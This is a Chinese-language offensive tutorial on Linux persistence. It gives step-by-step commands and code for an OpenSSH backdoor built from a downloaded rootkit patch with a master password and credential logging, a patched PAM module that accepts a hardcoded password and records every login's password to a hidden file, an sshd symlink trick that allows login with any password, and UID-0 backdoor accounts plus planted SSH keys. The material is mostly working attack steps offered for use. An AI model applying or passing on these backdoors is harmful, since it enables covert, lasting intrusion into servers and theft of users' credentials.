➢ 权限维持-Linux-SSH协议替换版本-OpenSSH后门

➢ 权限维持-Linux-SSH协议更改验证-PAM启用替换

➢ 权限维持-Linux-SSH协议登录方式-公私钥&后门账号

#权限维持-Linux-SSH协议替换版本-OpenSSH后门

原理：替换本身操作系统的ssh协议支撑软件openssh，

重新安装自定义的openssh,达到记录帐号密码，也可以采用万能密码连接的功能！

https://mp.weixin.qq.com/s/BNrJHUs9qxEVHNSFEghaRw

1、环境准备：

yum -y install openssl openssl-devel pam-devel zlib zlib-devel

yum -y install gcc gcc-c++ make

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar -xzvf openssh-5.9p1.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff

2、编辑密码：(可以修改version.h 改成与原始的名称一致)

vim includes.h

177 #define ILOG "/tmp/ilog"#ILOG是别人用ssh登录该主机记录的日志目录

178 #define OLOG "/tmp/olog"#OLOG是该主机用ssh登录其他主机记录的日志目录

179 #define SECRETPW "xiaodi"#万能密码

180 #endif /* INCLUDES_H */

3、安装编译：

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

service sshd restart #重启sshd服务 (需要将本地原始的删除known_hosts know_hosts.old)

systemctl status sshd.service #查看ssh启动状态

拓展玩法：

1、可以采用万能密码登录

2、实现监控服务器登录登出的账号密码（发到外网）

 

#权限维持-Linux-SSH协议更改验证-PAM启用替换

参考：https://xz.aliyun.com/t/7902

原理：PAM是一种认证模块，PAM可以作为Linux登录验证和各类基础服务的认证，简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务，然后加载相应的PAM的配置文件(位于/etc/pam.d)，最后调用认证文件(于/lib/security)进行安全认证.简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持

1、获取目标系统所使用的PAM版本，下载对应版本的pam版本

2、解压缩，修改pam_unix_auth.c文件，添加万能密码

3、编译安装PAM

4、编译完后的文件在：modules/pam_unix/.libs/pam_unix.so，复制到/lib64/security中进行替换，即使用万能密码登陆，将用户名密码记录到文件中。

-配置环境

关闭selinux setenforce 0

查询版本 rpm -qa | grep pam

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

tar -zxvf Linux-PAM-1.1.8

yum install gcc flex flex-devel -y

-修改配置：

留PAM后门和保存SSH登录的账号密码

修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

/* verify the password of this user */

retval = _unix_verify_password(pamh, name, p, ctrl);

if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码

if(retval == PAM_SUCCESS){

FILE * fp;

fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置

fprintf(fp, "%s : %s\n", name, p);

fclose(fp);}

name = p = NULL;

AUTH_RETURN;

-编译安装：

./configure && make

-备份复制：

备份原有pam_unix.so,防止出现错误登录不上

复制新PAM模块到/lib64/security/目录下

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

cd Linux-PAM-1.1.8/modules/pam_unix/.libs

cp pam_unix.so /usr/lib64/security/pam_unix.so

 

2、配合软链接

在sshd服务配置启用PAM认证的前提下，PAM配置文件中控制标志为sufficient时，只要pam_rootok模块检测uid为0（root）即可成功认证登录。

SSH配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证：

cat /etc/ssh/sshd_config|grep UsePAM

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

ssh root@xx.xx.xx.xx -p 8888 任意密码登录即可

 

#权限维持-Linux-SSH协议登录方式-公私钥&后门账号

原理：服务器支持密码或密钥登录，可以让服务器支持密钥登录，将生成的密钥文件替换到服务器，达到一致长期控制；利用后门账户保存权限与root一致。

1、公私钥

开启密钥对支持：

vim /etc/ssh/sshd_config

RSAAuthentication yes

PubkeyAuthentication yes

AuthorizedKeysFile .ssh/authorized_keys

->本地生成密钥

ssh-keygen -t rsa #三次回车

id_rsa : 私钥

id_rsa.pub : 公钥

->复制公钥到服务器

cd /root/.ssh/

vim authorized_keys(id_rsa.pub)

chmod 600 authorized_keys

 

2、后门帐号

#添加root用户：

#添加账号test1，设置uid为0，密码为123456

useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1

echo "xiaodi:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号

passwd xiaodi #修改xiaodi的密码为xiaodi123